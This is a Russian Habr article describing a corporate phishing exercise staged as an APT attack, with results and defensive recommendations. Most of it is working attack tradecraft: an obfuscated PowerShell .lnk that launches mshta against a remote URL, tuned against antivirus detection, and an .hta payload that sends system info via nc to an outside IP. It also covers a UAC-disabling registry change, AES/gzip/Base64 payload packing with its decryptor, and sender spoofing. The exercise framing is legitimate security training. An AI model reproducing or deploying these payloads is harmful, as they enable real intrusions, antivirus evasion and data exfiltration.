Атакуем коллег через токсичные ярлыки ”pdf” и Web-приложения. Часть 2

_aku_odj43vloulop6kkyymx1ak.png

Хабр, приготовься, рыбалка началась! Для тех кто не в лодке, в предыдущей части мы составили методологию и выбрали инструменты для проведения нестандартных фишинг-учений, чтобы проверить сотрудников нашей компании. В результате мы разработали стратегию полноценной тренировочной APT-атаки. Сегодня мы рассмотрим ее практическую реализацию. Но обо всем по порядку. 


Прочитав статью, читатель получит практическое представление о возможных действиях атакующих и способах проведения учений. Специалисты по информационной безопасности  и пентестеры ознакомятся с рекомендациями по защите инфраструктуры в рамках контракта или трудовых соглашений. Помните, что любое использование представленной информации должно быть ограничено рамками обучения. Автор не несет ответственности за любые негативные последствия, возникающие в результате неправомерного использования материалов статьи и полученных из нее сведений.

Для начала вспомним алгоритм разработанной нами стратегии, и пункты, которые необходимо выполнить.


b560f813af44982bcbcd0a99d745bfae.png

На этапе доставки используется почтовое сообщение с прикрепленным файлом формата .lnk или же ярлыком. Неопытный пользователь может запутаться в разнообразии форматов, или письмо может остаться без внимания, так как было получено из «доверенного» источника. 


beb09adfa4850e8fe0e43bf0bf30cb5b.png

Приманкой будет важное сообщение от системы электронного документооборота с подмененным отправителем в теле письма. Это еще одна ловушка для сотрудника. Если вам интересны подробности этого процесса, то обязательно прочтите первую часть статьи!


63d30d1f8f8b3369bf26392ac42e5676.png

После открытия файла начнется второй этап атаки — заражение. На компьютере жертвы будет скачан и открыт файл локального «веб-приложения» с обезвреженным кодом, который свяжется с командным сервером и оповестит о «заражении» машины. Чтобы усыпить подозрения, пользователю будет продемонстрирован и оригинальный документ, загруженный с удаленного сервера. Однако не все так просто: чтобы провести учебную атаку, необходимо не только отвлечь внимание потенциальной жертвы, но также обойти средства защиты информации (СЗИ). Для этого мы будем использовать маскировку.


0a8b756d7a516e83219c3b26a68a5f90.jpeg

Подготовим удочки и гарпуны для учений, или в нашем случае — эксплойты и пэйлоады. Но для начала определимся с требованиями к ним. Для того чтобы преодолеть СЗИ и человеческий фактор, необходимо использовать:


  • ресурсы и файлы-приманки из рабочей среды;
  • короткие пэйлоады;
  • обфусцированные значения и криптографические преобразования;
  • низкие показатели идентификации вредоноса. 

Основываясь на постулатах выше, приступим к созданию первого эксплойта — ярлыка. Для этого нам не понадобятся какие-либо специальные средства, только Windows-окружение. 


Токсичный ярлык

Открываем мастер создания ярлыков и выбираем стандартный путь к PowerShell. К этому пути мы можем добавить опции и команды, с которыми по умолчанию должен запуститься PowerShell. Так как цель первого эксплойта не вместить в себя всю нагрузку вредоноса, а открыть второй эксплойт, то необходимо должным образом замаскировать вредоносную активность.


fc30a5022c761f1e2b2561b317944e3c.png

Если мы непосредственно обратимся к утилите, которая запустит вредонос,   такая угроза будет детектирована практически везде.

PS C:\Users\Mi> mshta.exe

Вместо этого мы используем операторы PowerShell для того чтобы обходным путем выполнить mshta или mshta.exe без указания пути, так как он уже имеется в переменных среды.  

Первое, что приходит в голову, — обратиться к свойствам объекта реестра и вытащить оттуда нужное название. 

PS C:\Users\Mi> gp -pa 'HKLM:\SOF*\Clas*\Appli*ons\m*h*e'
NoOpenWith   :
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mshta.exe
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications
PSChildName  : mshta.exe
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

В данном случае команда gp  (сокращение от Get-ItemProperties) при обращении получает список свойств, а в запрос мы уже интегрировали маскировку через *, которая символизирует одно или более значений. Отфильтруем и передадим результат на исполнение mshta.exe через оператор группировки (), который рекурсивно выполнит функции и вернет полученное значение.

PS C:\Users\Mi> .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://habr.ru/13
mshta.exe https://habr.ru/13

В результате мы получили замаскированный путь к утилите mshta.exe, которая скачивает и устанавливает вредонос на втором этапе. Проведем тесты на детектируемость:


68faaceb9c1d4f415574683df6c38988.png

Некоторые антивирусы все же определяют сигнатуру. На текущий момент нас интересует детектируемость решениями Microsoft и ClamAV. Сменим порядок запроса, но суть останется прежней.

PS C:\Users\Mi> .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13 

Знаком вопроса мы замаскировали название. После внесенных изменений проведем повторный тест:


966f4dfa017fa143d8746b1390272d24.png

Отлично, интересующие нас антивирусные продукты не видят наш эксплойт. При необходимости можно устранить и оставшиеся детекты.

Вернемся к окну с ярлыком и установим новый путь с командами для запуска PowerShell.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe .(ls 'C:\Windows\System32' | Where-object 'Name' -like '?sh?a.?x?') https://habr.ru/13


8c65a8795227bfddf959fe14d2051db5.png

Выберем соответствующее название, запуск в скрытом окне и значок PDF, который будет отображаться на компьютере пользователя:

%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe


b26e8e62180fdef69eaad5fe55dcdec8.png

Для проверки работоспособности эксплойта можно указать в конце команды любой сайт, но затем будет необходимо изменить ссылку на URI с файлом второго этапа. 


Вредоносный Webapp

Второй эксплойт представляет собой файл формата .hta, состоящий из в заранее подготовленного HTML с включением CSS + JS. При помощи утилиты mshta, которую мы указали в ярлыке, код в файле интерпретируется и компилируется. 


a031de803ec34cc0a4da443e75430387.png

Вредоносные функции сосредоточены в коде JavaScript. Главные враги подобного решения — статический и динамический анализаторы, которые есть в антивирусных программах, песочницах и TI-платформах. 

Этот файл несет в себе основную нагрузку и неизбежно будет содержать множество обращений к системе в довольно большом по объему фрагменте кода. Поэтому в целях маскировки мы можем использовать объекты окружения PowerShell для шифрования, кодирования, сжатия передаваемых данных, а также обфускацию и задержку при выполнении. 

В нашем примере мы пойдем от обратного и разберем готовый эксплойт по частям.


004eb8002434d893600e93f8e59dbfe5.png

Эксплойт под кодовым именем 13.hta состоит из двух основных элементов: маскировочный блок и ядро вредоноса. Основной модуль содержит обращение к командному серверу, который зафиксирует, что заражение успешно произошло и выполнит ряд действий. 

Get-ComputerInfo | nc.exe 91.124.1.2 4213 

Функция Decoy-файл найдет по имени файл из первого этапа атаки Положение №300.pdf.lnk и заменит его на оригинальный файл, открыв в браузере или через установленное по умолчанию приложение. 


Код для Decoy
function fJBZI($JfsS){

    $WeFJn = gci -Recurse -Filter 'Положение №300 pdf.lnk' -File -ErrorAction SilentlyContinue -Path $JfsS;

    if($WeFJn){

        if($WeFJn.Fullname -Match '.zip' -eq $true){

            $NzJDP = $WeFJn.Directory.Name.Replace('Temp1_','');

            $dnuHk = gci -Recurse -Filter $NzJDP -File -ErrorAction SilentlyContinue -Path «$HOME»;

            $JLdUun = Join-Path $dnuHk.Directory $NzJDP;

            $GNSf = Join-Path $WeFJn.Directory '\*';

            Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;

            del $WeFJn.FullName -Force;

            Compress-Archive -Path $GNSf -DestinationPath $JLdUun -Force;

        } else {

            del $WeFJn.FullName -force;

            Move-Item -Path $CrjUERfL -Destination $WeFJn.Directory;

        }

    }

}

fJBZI([Environment]::GetFolderPath('Desktop'));


  1. Функция fJBZI сканирует рабочий стол пользователя в поисках ярлыков с именем «Положение №300.pdf.lnk»;
  2. Если найденный ярлык является файлом ZIP, скрипт извлекает содержимое ZIP-архива;
  3. Далее скрипт перемещает PDF-файл (предполагается, что это содержимое архива) на рабочий стол и удаляет ZIP-файл или ярлык;
  4. Если ZIP-файл не найден, он перемещает PDF-файл на рабочий стол.

Обход UAC/SmartScreen включает в себя функцию обращения к реестру и изменения значения, отвечающего за уровень контроля запуска приложений, а также использует новые сигнатуры для обхода SmartScreen.

Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

Полученное ядро необходимо маскировать и преобразовать!

Маскировочный блок, в свою очередь, использует 3 основных способа сокрытия ядра полезной нагрузки:  

Для сокращения объема и воспрепятствования статическому анализу используется gzip-архивирование.

New-Object System.IO.Compression.GzipStream [Stream of data], ([IO.Compression.CompressionMode]:: Compress)

Поверх архива применяется шифрование методом AES-256, путем создания объекта в окружении PS с соответствующими опциями.


Код для шифрования AES-256
$zTdLOeg = «ключ_в_utf8»;

$yNRTxBE = «закодированный_текст_в_utf8»;

$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged';

$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;

$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;

$vdiEhMj.BlockSize = 128;

$vdiEhMj.KeySize = 256;

$vdiEhMj.Key = [System.Convert]::FromUTF8String($zTdLOeg);

$hPhPw = [System.Convert]::FromUTF8String($yNRTxBE);

$udBqxpbU = $hPhPw[0..15];

$vdiEhMj.IV = $udBqxpbU;

$eTsDHySTn = $vdiEhMj.CreateEncryptor();

$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 0, $hPhPw.Length);

$vdiEhMj.Dispose();

Для следующего этапа применяется кодирование в Base64. Получившееся ядро в замаскированной оболочке записывается в переменную.


Кодирование
$yNRTXBE = 'AAAAAAAAAAAAAAAAAAAAAAUQSLIqVQKkgeiUIVMEDKFBx0d AqUjxNC2pF2azwgu5jrLa5CV8ki6NA4oVN1vj5bMzzwgADlgD6k3v

FcP9A2889VWEvaNplt1NmzacJKO/

RAcvOpiPODvSaRpCV50FE/reGmllrWniD4LCvV/j53/sActC/ NsGGHRDL8JpPvuRKt1Re3AKwbrzv5SEleT4Yv9WgHls7U1E+MkGs/ wXrJSN7BWdHF9QXslb6/

pwTYznyq1324dIMMUBWtd94+X7p2xzIYD

zsLiVW16huWgoeiPXtk9fMnuW+Q7Ir31YmlKvmwRWbsTJDPFxsfV0BaQ8xeQgH2qe8ahxlq2NB9ED xzYpEjD22ehY/

MsvTp6BsO0W6DXmWam6WfFdeUjQWKuOqfN25EHKit21X27bka SA7g9AStqrEzV0NC26ZDMJa078UlquB4iqt5MDivEd3LyKwtJGvFC wBUduk=';

Для распаковки ядра вредоноса в .hta-формате прописываются команды для дешифровки, декодирования и разархивации. Некоторые строки со значениями также закодированы в Base64.


Код для расшифровки
$zTdLOeg = 'QIRkeU1MSGtRc09uZ290Sm9TTk5lc2ZxeGxlemhxTW8=';

$vdiEhMj = New-Object 'System.Security.Cryptography.AesManaged'; 

$vdiEhMj.Mode = [System.Security.Cryptography.CipherMode]::ECB;

$vdiEhMj.Padding = [System.Security.Cryptography.PaddingMode]::Zeros; 

$vdiEhMj.BlockSize = 128;$vdiEhMj.KeySize = 256;

$vdiEhMj.Key = [System.Convert]::FromBase64String($zTdLOeg); 

$hPhPw = [System.Convert]::FromBase64String($yNRTxBE); 

$udBqxpbU = $hPhPw[0..15];

$vdiEhMj.IV = $udBqxpbU; 

$eTsDHySTn = $vdiEhMj.CreateDecryptor(); 

$JrVyLoYTK = $eTsDHySTn.TransformFinalBlock($hPhPw, 16, $hPhPw.Length — 16);

$vdiEhMj.Dispose(); 

$jQcAMdf = New-Object System.IO.MemoryStream(,$JrVyLoYTK); 

$pKSKXid = New-Object System.IO.MemoryStream;

$wdTyKzCND = New-Object System.IO.Compression.GzipStream $jQcAMdf, ([IO.Compression.CompressionMode]:: Decompress); 

$wdTyKzCND.CopyTo($pKSKXid); 

$wdTyKzCND.Close(); 

$jQcAMdf.Close(); [byte[]] 

$Kuvqqkj = $pKSKXid.ToArray();

$pcWmt = [System.Text.Encoding]::UTF8.GetString($Kuvqqkj);

Выполнение расшифрованного эксплойта

#$pcWmt | powershell -

В результате всех этих сложных манипуляций мы получаем отличные результаты.


876d514d8b07420464d52d693907189b.png

Поведенческий анализ Антивируса Касперского все-таки обнаружил вредонос, но целевые антивирусные решения не отреагировали на наш файл, поэтому задачу по формированию пэйлоада можно считать выполненной.

Не забудем захостить итоговый файл, убрать расширение .hta и изменить ссылку в ярлыке.


796c6e00884f5625cd746ae3ea52196d.jpeg

Когда мы уже сидим на чемоданах и все снасти упакованы, пора погрузиться на корабль и отправиться на долгожданную рыбалку! Для того чтобы наше творение  дошло до получателя в исходном виде и письмо не вызывало подозрений, необходимо произвести подмену отправителя.

Напомним, что особенность обработки такого сообщения любым почтовым приложением заключается в том, что все поля до DATA остаются в метаданных, а поля после этой строки отображаются в самом сообщении. Соответственно, получатель не увидит narushitel@serverspace.ru пока не просмотрит исходный код сообщения, но зато поле From: Игорь Иванович ceo@serverspace.ru будет отображаться в строке «отправитель». Так выглядит само письмо:


1c790fc494df07734ea239cdcfdbd66f.png

А вот его исходный код, в котором можно увидеть настоящего отправителя в поле Return-Path: narushitel@serverspace.ru:


b8d446b51652621ed5a2d3cb74a7114f.png

Задача сотрудника сводится к тому, чтобы зайти в исходный код и сверить строчку получателя с тем, что демонстрирует приложение. 

На развернутом  сервере GoPhish была создана целевая группа для рассылки путем импорта CSV:


f85ba5ac343f647bb6d369e8f9d6d042.png

Чтобы отправлять письма, необходимо иметь легитимный аккаунт, который будет использоваться для рассылки. В нашем случае для подсказки пользователю мы указали адрес narushitel@mail.serverspace.ru .


f3263fe58d83df3429bbf9f7510c41df.png

Затем мы составили фишинговое письмо с использованием HTML и CSS, преимущественно без картинок, поскольку многие почтовые клиенты блокируют изображения, как вложенные, так и с ссылкой на внешний ресурс. В сообщение мы добавили вредоносный файл и трекер, за счет которого будут фиксироваться открытия вредоносного сообщения. Письмо приняло следующий вид:


861df0cb25ba47390f99944677d7ef85.png

После того как мы сформировали все виды писем с вложением для реализации первого этапа атаки, можно начинать рыбалку!


8490a7ec47c50d55c81efc49ba4002ff.jpeg

В течение всей компании сотрудникам было разослано около 400 писем, из них были открыты 356 или 89% от общего количества. Повысилась активность на сканирующем устройстве, куда могли обращаться пользователи, чтобы проверить свои файлы на наличие вредоноса. В отдел кибербезопасности поступило 10 обращений по поводу подозрительного письма, что ускорило бы реагирование в случае реальной атаки. Однако около 16% машин оказались «заражены», что говорит о необходимости принятия дополнительных технических и организационных мер. Среди них — укрепление периметра, фильтрация почтового трафика внутри сети, hardening почтовых серверов и повышение осведомленности оставшегося процента сотрудников. 

Учения, безусловно, принесли пользу: общий процент открытия вредоносных писем в прошлые периоды составлял 41%, в текущем снизился до 16%. 


  • Нужно предоставить пользователям организационные и технические инструменты для детектирования атаки: сканеры, антивирусные решения, настроенные анализаторы на почтовых серверах или отдельные решения Mail Security;
  • Необходимо организовать базовый hardering почтовых серверов во избежание слива учетных данных, ввести строгую парольную политику и многофакторную аутентификацию. При составлении учений мы поняли, что на одном из узлов есть уязвимость Broken Authentication, что помогло вовремя решить проблему.
  • Следует внедрить проактивную защиту, просканировать почтовый сервис открытыми платформами наподобие PT Knockin.
  • Нужно настроить блокировку приема почтовым сервером сообщений с потенциально вредоносным вложением: .lnk, .bat, .cmd, .ps1, .exe, .msi, .slk и прочими.

В ходе учений мы реализовали полноценную APT-атаку и проверили бдительность своих коллег. Это позволило не только выяснить уровень  осведомленности сотрудников, но и помогло здраво оценить защищенность инфраструктуры. Охоту можно объявлять закрытой!


Статья поддерживается командой Serverspace.

Serverspace — провайдер облачных сервисов, предоставляющий в аренду виртуальные серверы с ОС Linux и Windows в 8 дата-центрах: Россия, Беларусь, Казахстан, Нидерланды, Турция, США, Канада и Бразилия. Для построения ИТ-инфраструктуры провайдер также предлагает: создание сетей, шлюзов, бэкапы, сервисы CDN, DNS, объектное хранилище S3.

IT-инфраструктура | Кешбэк 17% по коду HABR

yum0upvqpmb1rcchboht0xncbsw.png

© Habrahabr.ru